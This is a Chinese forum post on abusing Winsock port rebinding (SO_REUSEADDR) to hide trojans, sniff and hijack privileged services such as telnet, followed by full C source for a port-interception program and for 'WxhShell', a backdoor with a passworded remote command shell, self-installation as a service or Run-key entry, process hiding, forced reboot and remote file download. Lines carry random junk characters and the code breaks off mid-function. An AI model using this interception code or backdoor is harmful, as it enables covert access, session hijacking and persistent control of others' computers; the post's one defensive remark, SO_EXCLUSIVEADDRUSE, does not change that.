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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ajs<a(,6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TB*g$ *  
1CFrV=d  
  saddr.sin_family = AF_INET; toX4kmC  
l/DV ?27  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s7D_fv4e  
rm1R^ n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -Z4J?b  
t A\N$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k2j:s}RHY  
q !EJs:AS  
  这意味着什么?意味着可以进行如下的攻击: t \Fc <  
nxA]EFS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FOM~Uj  
PF1!aAvVb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Kg~<h B6  
rcF;Lp :  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3k5Mty  
j K$4G.x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HI,1~ Jw+  
<E&1HeP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Iwize,J~X  
h" P4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j/ #kO?  
NA]7qb%%<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *~lD;{2  
;]i&AAbj  
  #include G>YJ3p7  
  #include DSizr4R  
  #include U@ALo  
  #include    7$8z}2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Kbg`ZO*  
  int main()  aVz<RS  
  { w4:n(.;HK  
  WORD wVersionRequested; 67<zBw2  
  DWORD ret; 4)]g=-3  
  WSADATA wsaData; Olj]A]v}  
  BOOL val; ^h1VCyoR*  
  SOCKADDR_IN saddr; N#bWMZ"  
  SOCKADDR_IN scaddr; (=QaAn,,R  
  int err; ie 2X.#  
  SOCKET s; 5w@  ;B  
  SOCKET sc; v"F.<Q  
  int caddsize; dt',)i8D  
  HANDLE mt; &oWWc$  
  DWORD tid;   Hm-+1Wx  
  wVersionRequested = MAKEWORD( 2, 2 ); })M$#%(  
  err = WSAStartup( wVersionRequested, &wsaData ); |n}W^}S5  
  if ( err != 0 ) {  --Dw  
  printf("error!WSAStartup failed!\n"); c1jHg2xim  
  return -1; {,]BqFXv  
  } MN$j{+!Q  
  saddr.sin_family = AF_INET; ^;6~=@#*C  
   P9B@2#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0 u,=OvU  
e%R+IH5i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f`:e#x  
  saddr.sin_port = htons(23); hIXGfvUy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QTz{ZNi!  
  { #h6(DuViKw  
  printf("error!socket failed!\n"); .sbU-_ij@U  
  return -1; 9(|[okB  
  } +y6|Nq  
  val = TRUE; tmRD$O%:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cEsBKaN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 79s6U^vv"  
  { (e= ksah3>  
  printf("error!setsockopt failed!\n"); s|pb0  
  return -1; ~XsS00TL`G  
  } ~BERs;4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \xDu#/^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ![7v_l\Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6zRJ5uI,/  
YUT"A{L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,h #!!j\j6  
  { W#u}d2mP  
  ret=GetLastError(); T55l-.>  
  printf("error!bind failed!\n"); )_GM&-  
  return -1; I%e7:cs>  
  } JV36@DVQ  
  listen(s,2); c5;YKON  
  while(1) }h +a8@  
  { i_`YZ7Hxp  
  caddsize = sizeof(scaddr); DECX18D  
  //接受连接请求 / v5Pk.!o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }ebw1G  
  if(sc!=INVALID_SOCKET) %b\xRt[0v7  
  { t<ftEJU"'w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S/~6%uJ  
  if(mt==NULL) r;|Bc$P  
  { @T;O^rE~N  
  printf("Thread Creat Failed!\n"); 6|T{BOW!d  
  break; [cXu<vjFM  
  } g_0"T}09(  
  } tborRi)  
  CloseHandle(mt); n\,TW&3  
  } puZ<cV e/  
  closesocket(s); iL|*g3`-f  
  WSACleanup(); l2VO=RDiW  
  return 0; ;cp-jY_U  
  }   _q6+]  
  DWORD WINAPI ClientThread(LPVOID lpParam) ua|qL!L+  
  { oxO}m7 ULH  
  SOCKET ss = (SOCKET)lpParam; ^>%=/RX  
  SOCKET sc;  KS*W<_I  
  unsigned char buf[4096]; *n}9_V%  
  SOCKADDR_IN saddr; *XniF~M  
  long num; qgI Jg6x/}  
  DWORD val; ;jX_e(T3m  
  DWORD ret; =!#D UfQf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aI8wy-3I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %(6f  
  saddr.sin_family = AF_INET; ni2H~{]z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 82O`<Ci  
  saddr.sin_port = htons(23); ~gI%   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w2+RX-6Ie  
  { gvoK  
  printf("error!socket failed!\n"); <RGRvv  
  return -1; DOhXb  
  } &CUkR6  
  val = 100; `(Q58wR}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L'aMXNO  
  { $ZcmE<7k  
  ret = GetLastError(); O])/kS`  
  return -1; y*uL,WH  
  } }-r"W7]k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D|e6$O5o  
  { 6b<t|zb  
  ret = GetLastError(); AQQj]7Y  
  return -1; u52; )"&=)  
  } g-+p(Ll|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?MpGz CPa  
  { Q=^}B}G  
  printf("error!socket connect failed!\n"); p-*BB_J"  
  closesocket(sc); Xo%Anqk  
  closesocket(ss); fi bR:8  
  return -1; TUpEh Q+*  
  } D"^ogY#LK  
  while(1) \GMudN  
  { /23v]HEPy  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,pLesbI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SCGQo.~,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LR9'BUfFv  
  num = recv(ss,buf,4096,0); (/@o7&>*50  
  if(num>0) +S/8{2%?DG  
  send(sc,buf,num,0); V 8n}"  
  else if(num==0) f_Wn[I{  
  break; !^8'LMY<I  
  num = recv(sc,buf,4096,0); #e8CuS  
  if(num>0)  K[?wP>s  
  send(ss,buf,num,0); FfD2 &(-R  
  else if(num==0) 29av8eW?3  
  break; PY>j?otD  
  } E+~~d6nB  
  closesocket(ss); c#Y9L+O  
  closesocket(sc); u{H_q&1  
  return 0 ; |ZZ3Qr+%S  
  } &Q&$J )0  
)9<)mV*EB(  
"UA W  
========================================================== X(WG:FP27  
6?,r d   
下边附上一个代码,,WXhSHELL Z>M*!mQi  
q5HHMHB  
========================================================== [Xz7.<0#U  
Mm/GI a  
#include "stdafx.h" O$&p<~  
S:1! )7  
#include <stdio.h> ,9A[o`b  
#include <string.h> .S5&MNE  
#include <windows.h> ko, u  
#include <winsock2.h> v WhtClJ3  
#include <winsvc.h> {?m',sG;&  
#include <urlmon.h> /1OhW>W3eH  
x`o_&09;CG  
#pragma comment (lib, "Ws2_32.lib") ~z< ? Wh  
#pragma comment (lib, "urlmon.lib") SnXYq 7`t  
F[?t"d  
#define MAX_USER   100 // 最大客户端连接数 DH 9?~|  
#define BUF_SOCK   200 // sock buffer KRXe\Sx  
#define KEY_BUFF   255 // 输入 buffer Q7Dkh KT  
fqF1 - %  
#define REBOOT     0   // 重启 'E7|L@X"r  
#define SHUTDOWN   1   // 关机 |20p#]0E+  
LXK+WB/s  
#define DEF_PORT   5000 // 监听端口 9k *'5(D4S  
PMTyiwlm  
#define REG_LEN     16   // 注册表键长度 > 5 i8 %r  
#define SVC_LEN     80   // NT服务名长度 5TnECk  
kwyvd`J8  
// 从dll定义API ^T<<F}@q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #K4wO!d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 54'z"S:W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3gGF?0o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fe/*U4xU  
IzL yn  
// wxhshell配置信息 TnKe"TA|9  
struct WSCFG { Zd5fr c$  
  int ws_port;         // 监听端口 zCco/]h  
  char ws_passstr[REG_LEN]; // 口令 Zd~Z`B} &  
  int ws_autoins;       // 安装标记, 1=yes 0=no  UnO -?  
  char ws_regname[REG_LEN]; // 注册表键名 1$ l3-x  
  char ws_svcname[REG_LEN]; // 服务名 `Y(/G"]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e8gD(T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f|< *2Mk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t=yM}#r$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h\20  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y\@XW*_?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7%?A0%>6G  
Q}m)Q('Rk  
}; K}wUM^  
A46y?"]/30  
// default Wxhshell configuration \ (X~Z  
struct WSCFG wscfg={DEF_PORT, Tlf G"HzZ%  
    "xuhuanlingzhe", R_ Z H+@O  
    1, H>W A?4  
    "Wxhshell", r<~1:/F|  
    "Wxhshell", l$zM|Z1wR`  
            "WxhShell Service", PVU(R J  
    "Wrsky Windows CmdShell Service", {j^}"8GB  
    "Please Input Your Password: ", G_X'd  
  1, ci*Z9&eS+  
  "http://www.wrsky.com/wxhshell.exe", X"[c[YT!%[  
  "Wxhshell.exe" v4 c_UFEh<  
    }; TYB^CVSZ  
P [gqv3V  
// 消息定义模块 M~wJe@bc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  o,X ?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FfP Ce5)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8-po|  
char *msg_ws_ext="\n\rExit."; J.*dA j  
char *msg_ws_end="\n\rQuit."; jT'1k[vJj  
char *msg_ws_boot="\n\rReboot..."; Z!ub`coV[  
char *msg_ws_poff="\n\rShutdown..."; !qy/'v4  
char *msg_ws_down="\n\rSave to "; c"fnTJXr79  
M#2DI?S@  
char *msg_ws_err="\n\rErr!"; {E!$<A9  
char *msg_ws_ok="\n\rOK!"; z?+N3p9  
A!hkofQ  
char ExeFile[MAX_PATH];  DMf:u`<  
int nUser = 0; :GO}G`jY  
HANDLE handles[MAX_USER]; \]o#tYN\a0  
int OsIsNt; yyBy|7QgO  
Qs*g)Yr  
SERVICE_STATUS       serviceStatus; Y.=v!*p?}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M3x%D)*  
Ga~IOlS  
// 函数声明 Q;`#ujxL  
int Install(void); CFn!P;.!  
int Uninstall(void); 7]G3yt->  
int DownloadFile(char *sURL, SOCKET wsh); X_"TG;*$  
int Boot(int flag); ZG<<6y*.  
void HideProc(void); IEO5QV:u:  
int GetOsVer(void); e >MC 3D`5  
int Wxhshell(SOCKET wsl); Au:Q4x.  
void TalkWithClient(void *cs); mO]>(^c  
int CmdShell(SOCKET sock); h*&-[nSo  
int StartFromService(void); p"Fj6T2  
int StartWxhshell(LPSTR lpCmdLine); LL.YkYu  
q(_pk&/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ULAAY$o@5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7X1T9'j I2  
Xgc@cwd  
// 数据结构和表定义 qifX7AXHr  
SERVICE_TABLE_ENTRY DispatchTable[] = -Vw,9VCF  
{ `&j5/[>v  
{wscfg.ws_svcname, NTServiceMain}, ?!8M I,c/  
{NULL, NULL} r1xN U0A  
}; tE- s/  
n|3ENN  
// 自我安装 =3l%ZL/  
int Install(void) "M1[@xog  
{ @/XA*9]l  
  char svExeFile[MAX_PATH]; fnwtD *``  
  HKEY key; F}.<x5I-;h  
  strcpy(svExeFile,ExeFile); $^d,>hJi  
 I=|b3-  
// 如果是win9x系统,修改注册表设为自启动 tec CU[O  
if(!OsIsNt) { (|"K sGl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XkOsnI8n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d\D.l^  
  RegCloseKey(key); ^q7 fN0"6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vt@.fT#e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : xB<Rq  
  RegCloseKey(key); /J8y[aa  
  return 0; (wnkdI{  
    } t%V!SvT8+  
  } U c$RYPq  
} Mb uD8B  
else { XeKIue@_  
HTvA]-AuM  
// 如果是NT以上系统,安装为系统服务 R/xeC [r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MAQkk%6[g  
if (schSCManager!=0) E"nIC,VZ  
{ !z$.Jcr1  
  SC_HANDLE schService = CreateService h /@G[5E  
  ( Kbrb;r59  
  schSCManager, VW$Hzx_z  
  wscfg.ws_svcname, +r"{$'{^  
  wscfg.ws_svcdisp, 8|OsVIe%  
  SERVICE_ALL_ACCESS, pMKnA. |  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ ,d!K2`  
  SERVICE_AUTO_START, u4, p.mZtb  
  SERVICE_ERROR_NORMAL, kW3V"twx  
  svExeFile, ^#9 &Rk!t  
  NULL, "VRcR  
  NULL, \f5$L`  
  NULL, n0:'h}^  
  NULL, a2SMNC]  
  NULL xJ:15eDC  
  ); g VplBF7{  
  if (schService!=0) m?V4r#t  
  {  bF0 y`  
  CloseServiceHandle(schService); %l( qyH)*  
  CloseServiceHandle(schSCManager); [?Wt ZM^q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cq(dj^/~m  
  strcat(svExeFile,wscfg.ws_svcname); Xk8+m>   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { esIE i!d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mw-0n  
  RegCloseKey(key); ` <cB 6  
  return 0; b*\K I  
    } ! av B&Z  
  } ?k CK$P  
  CloseServiceHandle(schSCManager); D .oX>L#:  
} $h"tg9L^)  
} ?~Fk_#jz,@  
q;3.pRw(  
return 1; N0,wT6.  
} */;[ -9  
]Nz~4ebB  
// 自我卸载 Mk Er|w'  
int Uninstall(void) <Wn={1Ts"  
{ 7F!_gj p  
  HKEY key; xT6&;,|`  
wt0^R<28  
if(!OsIsNt) { y-w=4_W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e C?adCb  
  RegDeleteValue(key,wscfg.ws_regname); 8*-8"It<"  
  RegCloseKey(key); tpwMy:<Ex  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R@ N I  
  RegDeleteValue(key,wscfg.ws_regname); a{v1[i\  
  RegCloseKey(key); Ne!F  p  
  return 0; F[BJhN*]a  
  } [*GIR0  
} .$pW?C 3e  
} iZ}  w>1  
else { |2z?8lx  
mtu/kd'(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >~8;H x].d  
if (schSCManager!=0) ;[V_w/-u  
{ _w0t+=&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CZe0kH^:{  
  if (schService!=0) RY3ANEu+  
  { /Uth#s:  
  if(DeleteService(schService)!=0) { Ab ,n^  
  CloseServiceHandle(schService); QV,X> !Nz  
  CloseServiceHandle(schSCManager); 'Alt+O_  
  return 0; SR7$m<0t*  
  } 0*^ J;QGE  
  CloseServiceHandle(schService); i`U:uwW`  
  } 1D%3|_id^  
  CloseServiceHandle(schSCManager); 5 0uYU[W  
} M0zJGIT~b  
} ofH=h  
^m8T$^z>  
return 1; :iqFC >D  
} &7"a.&*9xX  
/T1z z2l~  
// 从指定url下载文件  yV[9 (  
int DownloadFile(char *sURL, SOCKET wsh) "Ah (EZAR  
{ l$N b1&  
  HRESULT hr; 6bF?2 OC  
char seps[]= "/"; sLrSi  
char *token; Z M_ 6A1  
char *file; ywWF+kR_  
char myURL[MAX_PATH]; qKNX^n;  
char myFILE[MAX_PATH]; Y7(E<1Yx  
zO8`xrN!  
strcpy(myURL,sURL); mO<sw  
  token=strtok(myURL,seps); })RT2zw}  
  while(token!=NULL) Whp;wAz  
  { s3@sX_2  
    file=token; C%_^0#8-0  
  token=strtok(NULL,seps); ^wNx5t  
  } XHU&ix{Od  
hiO:VA  
GetCurrentDirectory(MAX_PATH,myFILE); A`_(L|~  
strcat(myFILE, "\\"); kzU;24"K  
strcat(myFILE, file); U'(}emh}  
  send(wsh,myFILE,strlen(myFILE),0); /)fx(u#  
send(wsh,"...",3,0); Rj6:.KEJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GPlAQk  
  if(hr==S_OK) pie<jZt  
return 0; OjO$.ecT  
else hd{Vz{;W  
return 1; ?|!167/O  
/^ *GoB  
} 3 d $  
_%^t[4)q  
// 系统电源模块 \)Jv4U\;  
int Boot(int flag) 7oaa)  
{ !_0kn6 S5  
  HANDLE hToken; LoZ8;VU  
  TOKEN_PRIVILEGES tkp; mw0#Dhyy1=  
jusP aAdW  
  if(OsIsNt) { 4bXAA9"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tTrUVuZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B~z P!^m  
    tkp.PrivilegeCount = 1; oEPO0O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HgL*/d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $T7hY$2Q l  
if(flag==REBOOT) { bU'{U0lM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {.F``2  
  return 0; D~_|`D5WK  
} wXw pKm  
else { iC- ?F cA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5c6CH k`:  
  return 0; gNk x]bm  
} Y^5X>  
  } obWBX'  
  else { dv3+x\`9  
if(flag==REBOOT) { St/<\Y,wr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {6MLbL{  
  return 0; /?X1>A:*  
} K|*Cka{  
else { 9`{[J['V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2}`Q9?  
  return 0; DF D5">g@  
} jRIjFn|~{Y  
} . 2_t/2  
 /;LteBoY  
return 1; k 1;,eB  
} SR>Sq2cW0  
.gUceXWH3  
// win9x进程隐藏模块 z{T2! w~[  
void HideProc(void) G"!YV#"~  
{ 'TclH80  
~/?JRL=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  |F5^mpU  
  if ( hKernel != NULL ) L8-  
  { _nu %`?Va  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N!6{c~^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +js3o@Ku{\  
    FreeLibrary(hKernel); bh=d'9B@&J  
  } .UNh\R?r  
`K[:<p}  
return; tm\ <w H  
} wqDRFZ1*P  
g*8LdH 6mq  
// 获取操作系统版本 b:fy  
int GetOsVer(void) '>FJk`iI  
{ -x )(2|  
  OSVERSIONINFO winfo; pGw|T~e%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TnET1$@qr*  
  GetVersionEx(&winfo); YLk; ^?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]RHR>=;  
  return 1; PHRc*G{  
  else X'N 4a  
  return 0; <LM<,  
}  iqf+rBL  
$ hB;r  
// 客户端句柄模块 )f#@`lf[<  
int Wxhshell(SOCKET wsl) Y{y #us1  
{ ^EU& 6M2  
  SOCKET wsh; 'R6D+Vk/  
  struct sockaddr_in client; @'[w7HsJ  
  DWORD myID; QI>yi&t  
}8Wp X2U  
  while(nUser<MAX_USER) #r 1 $=GY  
{ z79L2lJn  
  int nSize=sizeof(client); cqeId&Cg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &rj6<b1A  
  if(wsh==INVALID_SOCKET) return 1; n`f},.NM|  
Y.rHl4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (\FjbY9&  
if(handles[nUser]==0) }|f\'S   
  closesocket(wsh); ( _]{[dFr%  
else IBl}.o&]B#  
  nUser++; l/OG 79qq  
  } >j?5MIm03  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AF D/ J  
77/y{#Sk  
  return 0; +Cx~4zEq  
} sw*k(i  
a AYO(;3  
// 关闭 socket (omdmT%D  
void CloseIt(SOCKET wsh) qcke8Q  
{ q p|T,D%  
closesocket(wsh); ,G1|] ~  
nUser--; q ,d]i/T  
ExitThread(0); "Gcr1$xG8!  
} h./cs'&  
?zUV3Qgzj  
// 客户端请求句柄 E=gD{1,?  
void TalkWithClient(void *cs) [$?S9)Xd  
{ Kbx(^f12  
Q3%a=ba)h  
  SOCKET wsh=(SOCKET)cs; qM@][]j:  
  char pwd[SVC_LEN]; [$3Zid  
  char cmd[KEY_BUFF]; IC[SJVH;  
char chr[1]; !_<.6ja  
int i,j; `{I,!to  
5WP[-J)  
  while (nUser < MAX_USER) { 9}X3Q!iFb  
mL+}Ka  
if(wscfg.ws_passstr) { Ndi'b_Sh\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KtY~Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _wM[U`H}s  
  //ZeroMemory(pwd,KEY_BUFF); h0n0Dc{4  
      i=0; k_V1x0sZ  
  while(i<SVC_LEN) { ,Z_nV+l_  
|NtT-T)7  
  // 设置超时 8!>uC&bE8  
  fd_set FdRead; DS>s_3V  
  struct timeval TimeOut; M; zRf3S  
  FD_ZERO(&FdRead); SrK;b .  
  FD_SET(wsh,&FdRead); doc5;?6   
  TimeOut.tv_sec=8; KGi@H%NN  
  TimeOut.tv_usec=0; DWJ%r"aN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $qQ6u!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V2w[0^ L  
{z@vSQ=)=P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G+[>or}  
  pwd=chr[0]; aC3\Hs  
  if(chr[0]==0xd || chr[0]==0xa) { ThWZ>hyJ  
  pwd=0; ?O4Dhu  
  break; DJ} xD&G  
  } xx;'WL,g  
  i++; 6z%3l7#7Yi  
    } ;~~Oc  
a,cDj  
  // 如果是非法用户,关闭 socket cdU2ph_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R$,`}@VqZ3  
} c}Z,xop<P{  
rA*,)I_v@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AG}' W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZM; EjS1  
[$[t.m  
while(1) { ieBW 0eMi  
(/"T=`3t  
  ZeroMemory(cmd,KEY_BUFF); .[cT3l/t  
.U5+PQN  
      // 自动支持客户端 telnet标准   Zz?+,-$_*&  
  j=0; }WI24|`zM  
  while(j<KEY_BUFF) { 86%weU/*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u.hnQsM  
  cmd[j]=chr[0]; =5Q;quKu^5  
  if(chr[0]==0xa || chr[0]==0xd) { (!X:[Ah*$  
  cmd[j]=0; u6r-{[W}  
  break; fY%Sw7ql<  
  } mSQ!<1PM  
  j++; yvDzxu  
    } 4vqu(w8 L  
R<UjhCvx.  
  // 下载文件 aE{b65'Dt  
  if(strstr(cmd,"http://")) { "6KOql3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cc Ni8Wg_  
  if(DownloadFile(cmd,wsh)) PY z | d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Uewv +  
  else HwST^\Ao  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g1zqh,  
  } k}T~N.0  
  else { =:"@YD^a4  
UO:>^,(j  
    switch(cmd[0]) { BM&'3K_y  
  Q ;k_q3  
  // 帮助 +#B%YK|LR  
  case '?': { A5H[g`&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !uO|T'u0a  
    break; e:7aVOm  
  } 9oq(5BG,  
  // 安装 cQ+, F2  
  case 'i': { :He:Bdk  
    if(Install()) /=r&9P@Ay<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \17)=W  
    else n.1a1Tf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P{>T?-Hj  
    break; ?q,x?`|(8  
    } WLh_b)V|  
  // 卸载 LoCxoAg  
  case 'r': { x~{ m%)I  
    if(Uninstall()) N@d4)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); in+`zfUJ9  
    else {?L}qV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YYM  
    break; (U.&[B  
    } O0$ijJa|  
  // 显示 wxhshell 所在路径 hR`dRbBi%  
  case 'p': { R>0ta  Q  
    char svExeFile[MAX_PATH]; ?1412Tq5  
    strcpy(svExeFile,"\n\r"); +M.|D,wg2  
      strcat(svExeFile,ExeFile); rW6w1  
        send(wsh,svExeFile,strlen(svExeFile),0); (Q&z1XK3  
    break; /:USpuu  
    } 'Gt`3qG  
  // 重启 =G72`]#-  
  case 'b': { SfR!q4b=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pEaH^(I*  
    if(Boot(REBOOT)) }oU&J81  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S7SPc   
    else { (6A{6_p  
    closesocket(wsh); rpXw 8  
    ExitThread(0); rvfl~<G*  
    } Z'j<wRf  
    break; *l9Y]hinq  
    } d*AV(g#B  
  // 关机 bFJn-g n  
  case 'd': { x NC>m&T  
